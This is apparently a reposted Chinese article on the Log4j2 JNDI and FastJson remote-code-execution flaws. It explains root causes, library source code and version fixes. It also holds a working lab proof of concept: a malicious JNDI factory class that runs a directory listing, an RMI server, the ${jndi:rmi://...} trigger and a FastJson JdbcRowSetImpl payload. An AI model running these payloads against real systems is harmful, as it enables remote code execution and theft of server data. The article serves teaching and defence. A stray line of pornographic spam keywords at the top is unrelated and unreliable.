偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

從源碼看Log4j2、FastJson漏洞

安全 漏洞
遠(yuǎn)程代碼漏洞對(duì)廣大程序員來(lái)并不陌生,遠(yuǎn)程代碼執(zhí)行是指攻擊者可能會(huì)通過(guò)遠(yuǎn)程調(diào)用的方式來(lái)攻擊或控制計(jì)算機(jī)設(shè)備,無(wú)論該設(shè)備在哪里。如果遠(yuǎn)程代碼執(zhí)行的是一個(gè)死循環(huán)那服務(wù)器的CPU不得美滋滋了。

[[442968]]

遠(yuǎn)程代碼漏洞對(duì)廣大程序員來(lái)并不陌生,遠(yuǎn)程代碼執(zhí)行是指攻擊者可能會(huì)通過(guò)遠(yuǎn)程調(diào)用的方式來(lái)攻擊或控制計(jì)算機(jī)設(shè)備,無(wú)論該設(shè)備在哪里。如果遠(yuǎn)程代碼執(zhí)行的是一個(gè)死循環(huán)那服務(wù)器的CPU不得美滋滋了。

前段時(shí)間,Java 界的知名日志框架 Log4j2 發(fā)現(xiàn)了遠(yuǎn)程代碼執(zhí)行漏洞,漏洞風(fēng)暴席卷各大公司,編程屆異常火熱(加班),我們是萬(wàn)萬(wàn)沒(méi)想到那么牛逼的日志框架有BUG。

這次安全漏洞也有個(gè)小插曲,我司的員工發(fā)現(xiàn)了漏洞,上報(bào)了Apache沒(méi)告知GXB,我司也受到了處罰,希望下次引以為戒,不過(guò)這事程序員不背鍋,管理下次要反思下。

漏洞描述

本次 Apache Log4j 遠(yuǎn)程代碼執(zhí)行漏洞,是由于組件存在 Java JNDI 注入漏洞:

當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)記入日志時(shí),攻擊者通過(guò)構(gòu)造特殊請(qǐng)求,來(lái)觸發(fā) Apache Log4j2 中的遠(yuǎn)程代碼執(zhí)行漏洞,從而利用此漏洞在目標(biāo)服務(wù)器上執(zhí)行任意代碼。

  • 首先開(kāi)啟HTTP服務(wù)器,并將我們的惡意類放在目錄下
  • 開(kāi)啟惡意RMI服務(wù)器
  • 攻擊者輸入的參數(shù)為上一步開(kāi)啟的惡意RMI服務(wù)器地址
  • 惡意RMI服務(wù)器返回ReferenceWrapper類
  • 目標(biāo)服務(wù)器在執(zhí)行l(wèi)ookup操作的時(shí)候,將ReferenceWrapper變成Reference類,然后遠(yuǎn)程加載并實(shí)例化我們的Factory類(即遠(yuǎn)程加載我們HTTP服務(wù)器上的惡意類),進(jìn)而執(zhí)行惡意代碼

漏洞復(fù)現(xiàn)

JNDI

JNDI 是Java 命名和目錄接口(Java Naming and Directory Interface,JNDI)的簡(jiǎn)稱,從一開(kāi)始就一直是 Java 2平臺(tái)企業(yè)版的核心技術(shù)之一。

在JMS,JMail,JDBC,EJB等技術(shù)中,就大量應(yīng)用的這種技術(shù)。

JNDI可訪問(wèn)的現(xiàn)有的目錄及服務(wù)有:DNS、XNam 、Novell目錄服務(wù)、LDAP(Lightweight Directory Access Protocol 輕型目錄訪問(wèn)協(xié)議)、 CORBA對(duì)象服務(wù)、文件系統(tǒng)、Windows XP/2000/NT/Me/9x的注冊(cè)表、RMI、DSML v1&v2、NIS。

JNDI 誕生的理由很簡(jiǎn)單:隨著分布式應(yīng)用的發(fā)展,遠(yuǎn)程訪問(wèn)對(duì)象訪問(wèn)成為常用的方法。雖然說(shuō)通過(guò)Socket等編程手段仍然可實(shí)現(xiàn)遠(yuǎn)程通信,但按照模式的理論來(lái)說(shuō),仍是有其局限性的。

RMI技術(shù),RMI-IIOP技術(shù)的產(chǎn)生,使遠(yuǎn)程對(duì)象的查找成為了技術(shù)焦點(diǎn)。JNDI技術(shù)就應(yīng)運(yùn)而生。JNDI技術(shù)產(chǎn)生后,就可方便的查找遠(yuǎn)程或是本地對(duì)象。

如下展示了JNDI的架構(gòu)圖。

編寫攻擊代碼

為完成Bug的復(fù)現(xiàn),我們需要簡(jiǎn)單的搭建一個(gè)RMI服務(wù)。

首先編寫我們的攻擊代碼。此處攻擊代碼遍歷指定目錄下的文件,并將其輸出到指定目錄中。

攻擊者可以獲取無(wú)法服務(wù)器的任意目錄結(jié)構(gòu),恐怖如斯~

  1. public class BadCode implements ObjectFactory { 
  2.  
  3.     @Override 
  4.     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { 
  5.         System.out.println("開(kāi)始執(zhí)行攻擊"); 
  6.  
  7.         String data = "HH,我來(lái)了";// 囂張點(diǎn) 
  8.         File file =new File("./badcode.txt"); 
  9.         //if file does not exists, then create it 
  10.         if(!file.exists()){ 
  11.             file.createNewFile(); 
  12.         } 
  13.         FileWriter fileWritter = new FileWriter(file.getName(),true); 
  14.         fileWritter.write(data); 
  15.         // 遍歷服務(wù)器指定目錄 
  16.         List<String> command = new ArrayList<String>(); 
  17.         command.add("tree"); 
  18.         command.add("**");//指定一個(gè)目錄 
  19.         String outstring = null
  20.         Process p = null
  21.         try { 
  22.             ProcessBuilder builder = new ProcessBuilder(); 
  23.             builder.command(command); 
  24.             /** 
  25.              * 將標(biāo)準(zhǔn)輸入流和錯(cuò)誤輸入流合并,通過(guò)標(biāo)準(zhǔn)輸入流程讀取信息 
  26.              */ 
  27.             builder.redirectErrorStream(true); 
  28.             p = builder.start(); 
  29.             outstring = waitFor(p); 
  30.             fileWritter.write(outstring); 
  31.  
  32.         } catch (Exception ex) { 
  33.             ex.printStackTrace(); 
  34.         }finally { 
  35.             fileWritter.close(); 
  36.             p.destroy(); 
  37.         } 
  38.         return obj; 
  39.     } 
  40.  
  41.     public static String waitFor(Process p) { 
  42.         InputStream in = null
  43.         int exitValue = -1; 
  44.         StringBuffer outputString = new StringBuffer(); 
  45.         try { 
  46.             in = p.getInputStream(); 
  47.             final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in, "utf-8")); 
  48.             boolean finished = false
  49.             int maxRetry = 600;//每次休眠1秒,最長(zhǎng)執(zhí)行時(shí)間10分種 
  50.             int retry = 0; 
  51.             while (!finished) { 
  52.                 if (retry > maxRetry) { 
  53.                     return "error"
  54.                 } 
  55.                 try { 
  56.                     String line=""
  57.                     while ((line=bufferedReader.readLine())!=null) { 
  58.                         outputString.append(line+"\n"); 
  59.                     } 
  60.                     //進(jìn)程未結(jié)束時(shí)調(diào)用exitValue將拋出異常 
  61.                     exitValue = p.exitValue(); 
  62.                     finished = true
  63.                 } catch (IllegalThreadStateException e) { 
  64.                     Thread.sleep(1000);//休眠1秒 
  65.                     retry++; 
  66.                 } 
  67.             } 
  68.         } catch (Exception e) { 
  69.             e.printStackTrace(); 
  70.         } finally { 
  71.             if (in != null) { 
  72.                 try { 
  73.                     in.close(); 
  74.                 } catch (IOException e) { 
  75.                     System.out.println(e.getMessage()); 
  76.                 } 
  77.             } 
  78.         } 
  79.         return outputString.toString(); 
  80.     } 

編寫RMI服務(wù)并啟動(dòng)。

  1. public class StartRMIserver { 
  2.     public static void main(String[] args) throws Exception { 
  3.         //服務(wù)端口1099 
  4.         Registry registry = LocateRegistry.createRegistry(1099); 
  5.         Reference reference = new Reference("BadCode", "BadCode", "http://127.0.0.1:80/"); 
  6.         ReferenceWrapper wrapper = new ReferenceWrapper(reference); 
  7.         registry.bind("bad", wrapper); 
  8.         System.out.println("RegistryServer is running"); 
  9.     } 

打印如下日志復(fù)現(xiàn)Bug。

  1. public class BugShow { 
  2.     private static final Logger LOGGER = LogManager.getLogger(); 
  3.  
  4.     public static void main(String[] args) { 
  5.         //改動(dòng)一些系統(tǒng)默認(rèn)配置,讓系統(tǒng)可以被攻擊 
  6.         System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 
  7.         System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 
  8.         //打印攻擊日志 
  9.         LOGGER.info("start attack:{}", "${jndi:rmi://127.0.0.1:1099/bad}"); 
  10.     } 

如果一切順利,你會(huì)發(fā)現(xiàn)服務(wù)器中生成了一個(gè)名為badcode.txt的文件,里面存儲(chǔ)著指定目錄下的所有文件目錄。

修復(fù)方案

所幸,各大安全團(tuán)隊(duì)迅速給出了如下解決方案(本質(zhì)都一樣),似乎是不使用LookUp就解決了。(終極方案是將log4j-core升級(jí)為2.16.0)

  • 修改jvm參數(shù) -Dlog4j2.formatMsgNoLookups=true
  • 在類路徑下增加log4j2.component.properties配置文件并增加配置項(xiàng)log4j2.formatMsgNoLookups=true
  • 將系統(tǒng)環(huán)境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設(shè)置為 true

但是,乖,你不好奇嗎?為什么不使用 LookUp 機(jī)制就修復(fù)了呢?

LookUps 機(jī)制

LookUps提供了一種在任意位置向 Log4j 配置添加值的方法。它們是實(shí)現(xiàn) StrLookup 接口的特殊類型的插件,Log4j 提供了Date Lookup、Java LookUp、Jndi LookUp(罪魁禍?zhǔn)?等實(shí)現(xiàn)。

如下展示了Date LookUp和Java lookUp的使用。

  1. public class App { 
  2.     private static final Logger LOGGER = LogManager.getLogger(); 
  3.  
  4.     public static void main(String[] args) throws Exception { 
  5.         LOGGER.info("java.os:{}""${java:os}"); 
  6.         LOGGER.info("date:{}","${date:yyyy-MM-dd HH:mm:ss}"); 
  7.     } 

Java Lookup

JavaLookup 使用以 java: 為前綴的的預(yù)格式化字符串檢索 Java 環(huán)境信息。

描述
version 獲取Java版本,比如Java version 1.8.0_312
runtime 獲取Java運(yùn)行時(shí)版本,比如OpenJDK Runtime Environment (build 1.8.0_312-b07) from Azul Systems, Inc.
vm 獲取虛擬機(jī)信息,比如OpenJDK 64-Bit Server VM (build 25.312-b07, mixed mode)
os 獲取系統(tǒng)信息,比如Mac OS X 11.3.1 unknown, architecture: aarch64-64
locale 獲取編碼信息,比如default locale: zh_CN, platform encoding: UTF-8
hw 獲取硬件信息,比如processors: 8, architecture: aarch64-64
 

Jndi Lookup

這也是此次漏洞的罪魁禍?zhǔn)?JndiLookup 允許通過(guò) JNDI 檢索變量。

默認(rèn)情況下,鍵將以 java:comp/env/ 為前綴,但是如果鍵包含":"則不會(huì)添加前綴。

默認(rèn)情況下,JDNI Lookup 僅支持 java、ldap 和 ldaps 協(xié)議或不支持協(xié)議,可以通過(guò)在 log4j2.allowedJndiProtocols 屬性上指定它們來(lái)支持其他協(xié)議。

當(dāng)使用 LDAP 時(shí),出于安全原因,不支持實(shí)現(xiàn) Referenceable 接口的 Java 類,默認(rèn)情況下僅支持 Java 的基礎(chǔ)類型以及 log4j2.allowedLdapClasses屬性指定的任何類。

使用 LDAP 時(shí),僅支持對(duì)本地主機(jī)名或 IP 地址的引用以及 log4j2.allowedLdapHosts 屬性中列出的任何主機(jī)或 IP 地址。

Java LookUp源碼

通過(guò) LookUp 機(jī)制,Log4j框架解析了${}中的內(nèi)容,跟蹤源碼可以發(fā)現(xiàn)如下調(diào)用鏈,并且可以發(fā)現(xiàn)日志中${}內(nèi)容的替換是在org.apache.logging.log4j.core.pattern.MessagePatternConverter#format中完成的。

觀察源碼不難發(fā)現(xiàn)我們感興趣的東西——noLookups和對(duì)${的查找。

  1. if (config != null && !noLookups) { 
  2.     for (int i = offset; i < workingBuilder.length() - 1; i++) { 
  3.         if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { 
  4.             // 獲取原始的日志  
  5.             final String value = workingBuilder.substring(offset, workingBuilder.length()); 
  6.             workingBuilder.setLength(offset); 
  7.             workingBuilder.append(config.getStrSubstitutor().replace(event, value)); 
  8.         } 
  9.     } 

查看StrSubstitutor類的org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute方法,美滋滋的發(fā)現(xiàn)調(diào)用 resolveVariable 方法后獲取到了解析的值。

resolveVariable 方法內(nèi)部調(diào)用getVariableResolver()方法獲取對(duì)應(yīng)的值解析器,此次獲取 JavaLookUp。繼續(xù)追下去發(fā)現(xiàn)version的獲取就是從系統(tǒng)環(huán)境變量中取得的。

終極解決方案

2.15.0

讀完源碼不難得出結(jié)論:如果不讓代碼執(zhí)行${}的解析不就行了,即不使用LookUp機(jī)制。

如下圖表示了noLookUps的默認(rèn)值。這也說(shuō)明了為什么解決方案是增加JVM啟動(dòng)參數(shù): -Dlog4j2.formatMsgNoLookups=true。

為什么升級(jí)為2.15.0后Bug就修復(fù)了呢?因?yàn)樵谛掳姹局心J(rèn)會(huì)使用SimpleMessagePatternConverter,同時(shí)不使用 LookUp 機(jī)制。

如下圖所示:

2.16.0

  • 默認(rèn)禁用JNDI的訪問(wèn),用戶需要通過(guò)配置 log4j2.enableJndi 參數(shù)開(kāi)啟
  • 默認(rèn)允許協(xié)議限制為:java、ldap、ldaps,并將ldap協(xié)議限制為僅可訪問(wèn)Java原始對(duì)象
  • Message Lookups被完全移除,加固漏洞的防御

在Log4j2升級(jí)至 2.16.0 時(shí)我們天真的認(rèn)為已經(jīng)結(jié)束了,萬(wàn)萬(wàn)沒(méi)想到,2.16.0 又爆出來(lái)新的 DOS 拒絕服務(wù)攻擊漏洞(沒(méi)完了不是)。

具體說(shuō)來(lái)是,Apache Log4j2 的 2.0-alpha1 到 2.16.0 版本,均未能防止自引用查找的不受控遞歸。

當(dāng)日志配置使用了帶有上下文查找的非默認(rèn)模式布局時(shí)(例如$${ctx:loginId}),控制線程上下文映射(MDC)數(shù)據(jù)輸入的攻擊者,便可制作一份包含遞歸查找的惡意輸入數(shù)據(jù),從而導(dǎo)致進(jìn)程因堆棧溢出報(bào)錯(cuò)而被終止。

如果目前不方便升級(jí)版本的話,可以采用下面的兩種方法來(lái)緩解此漏洞:

在日志配置的 PatternLayout 中,用 %X、%mdc 或 %MDC 來(lái)替換或${ctx:loginId} 等Context Lookups

在使用外部數(shù)據(jù)(HTTP Header或用戶輸入等)的地方,刪除對(duì)Context Lookups的引用(如或${ctx:loginId} )

2.17.0

  • 只有配置中的lookup字符串才允許遞歸解析。并且僅解析最頂層的lookup,不解析任何嵌套的lookups。
  • 將 JNDI 僅限于 java 協(xié)議。默認(rèn)情況下,JNDI 將保持禁用狀態(tài)。將 JNDI 啟用屬性從"log4j2.enableJndi"重命名為"log4j2.enableJndiLookup"、"log4j2.enableJndiJms"和"log4j2.enableJndiContextSelector"。
  • JNDI 僅限于 java 協(xié)議。默認(rèn)情況下,JNDI 將保持禁用狀態(tài)。啟用屬性已重命名為"log4j2.enableJndiJava"。

擴(kuò)展:FastJson 漏洞

遠(yuǎn)程代碼執(zhí)行漏洞在業(yè)內(nèi)還是比較多見(jiàn)的,除了此次的 Log4j 漏洞,我們?cè)賮?lái)看看其他工具的漏洞吧!

在2017年3月15日,fastjson官方主動(dòng)爆出fastjson在1.2.24及之前版本存在遠(yuǎn)程代碼執(zhí)行高危安全漏洞。攻擊者可以通過(guò)此漏洞遠(yuǎn)程執(zhí)行惡意代碼來(lái)入侵服務(wù)器。

關(guān)于漏洞的具體詳情可參考:https://github.com/alibaba/fastjson/wiki/security_update_20170315。

漏洞原因

FastJson 提供 autoType 功能,在對(duì)JSON字符串進(jìn)行反序列化的時(shí)候,會(huì)讀取@type到內(nèi)容,試圖把JSON內(nèi)容反序列化成這個(gè)對(duì)象,并且會(huì)調(diào)用這個(gè)類的setter方法。黑客可以利用這個(gè)特性,自己構(gòu)造一個(gè)JSON字符串,并且使用@type指定一個(gè)自己想要使用的攻擊類庫(kù)。

常用的攻擊類庫(kù)是com.sun.rowset.JdbcRowSetImpl,這是sun官方提供的一個(gè)類庫(kù),這個(gè)類的dataSourceName支持傳入一個(gè)rmi的源,當(dāng)解析這個(gè)uri的時(shí)候,就會(huì)支持rmi遠(yuǎn)程調(diào)用,去指定的rmi地址中去調(diào)用方法。

  1. {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/bad""autoCommit":true

FastJson 的修復(fù)方案

在 1.2.25 版本中 FastJson 新增了黑名單機(jī)制,如果@type中的類是黑名單中的則直接拋異常。

  1. // 上面提到的 com.sun.rowset.JdbcRowSetImpl 就在黑名單中,即 com.sun. 
  2. private String[]           
  1. public Class<?> checkAutoType(String typeName, Class<?> expectClass) { 
  2.  if (typeName == null) { 
  3.   return null
  4.  } 
  5.  
  6.  final String className = typeName.replace('$', '.'); 
  7.  
  8.  if (autoTypeSupport || expectClass != null) { 
  9.   for (int i = 0; i < acceptList.length; ++i) { 
  10.    String accept = acceptList[i]; 
  11.    if (className.startsWith(accept)) { 
  12.     return TypeUtils.loadClass(typeName, defaultClassLoader); 
  13.    } 
  14.   } 
  15.  
  16.   for (int i = 0; i < denyList.length; ++i) { 
  17.    String deny = denyList[i]; 
  18.    // 類名中只要包含了黑名單中的任何對(duì)象,直接拋異常,寧可錯(cuò)殺不可放過(guò) 
  19.    if (className.startsWith(deny)) { 
  20.     throw new JSONException("autoType is not support. " + typeName); 
  21.    } 
  22.   } 
  23.  } 
  24.  
  25.  ...... 

總結(jié)

如下展示了2018年收錄漏洞按利用方式統(tǒng)計(jì)圖與2020年CNVD漏洞產(chǎn)生原因圖。

可見(jiàn)漏洞利用的攻擊方式分為:本地攻擊和遠(yuǎn)程攻擊。

其中遠(yuǎn)程攻擊占比約為89%,本地攻擊約占11%,由此可見(jiàn)遠(yuǎn)程攻擊是主要的漏洞攻擊的手段,也是需要主要防范的漏洞攻擊手段,并且大部分漏洞的產(chǎn)生原因都是設(shè)計(jì)錯(cuò)誤導(dǎo)致的。(所以網(wǎng)絡(luò)一片呼聲希望高鐵提供不使用 AutoType 的 FastJson,HH)

分析 Log4j2 的此次漏洞產(chǎn)生原因與修復(fù)方案是我們的一小步,希望各位都能寫出沒(méi)有bug的代碼(厚顏無(wú)恥的說(shuō),我一直在寫bug~_~)

  1. ____________________ 
  2. < 神獸護(hù)體,永無(wú)bug! > 
  3. -------------------- 
  4.        \   ^__^ 
  5.        \  (oo)\_______ 
  6.          (__)\       )\/\ 
  7.              ||----w | 
  8.              ||     || 

 

責(zé)任編輯:武曉燕 來(lái)源: 三太子敖丙
相關(guān)推薦

2022-01-27 09:16:08

CPU內(nèi)存.NET

2021-12-11 13:29:36

SpringBoot 官方

2022-02-13 23:51:44

DeepfenceLog4j2漏洞

2025-05-09 09:18:33

2021-12-16 10:43:04

黑客網(wǎng)絡(luò)攻擊漏洞

2021-12-29 06:54:23

Log4j2 漏洞績(jī)效

2021-12-20 09:32:55

Log4j2漏洞攻擊

2021-12-14 06:59:39

Apache Log4j2 漏洞

2022-01-10 11:16:40

漏洞 Log4j2Jndi

2021-12-23 15:29:07

Log4j2漏洞阿里云網(wǎng)絡(luò)安全

2021-12-13 07:28:34

Java漏洞復(fù)現(xiàn)

2022-01-11 09:56:15

Log4j2漏洞FTC

2021-12-11 19:04:38

漏洞

2021-04-02 07:58:36

LogbackLog4j2日志

2022-03-25 13:42:15

Log4j漏洞網(wǎng)絡(luò)安全

2021-12-10 15:08:09

Log4j2漏洞日志

2021-12-19 07:28:06

Log4j2漏洞AMD

2021-12-23 06:51:54

阿里云Log4j2漏洞

2021-12-23 09:47:36

Log4jRCE漏洞DoS漏洞

2022-02-15 17:51:38

Log4j漏洞網(wǎng)絡(luò)安全
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)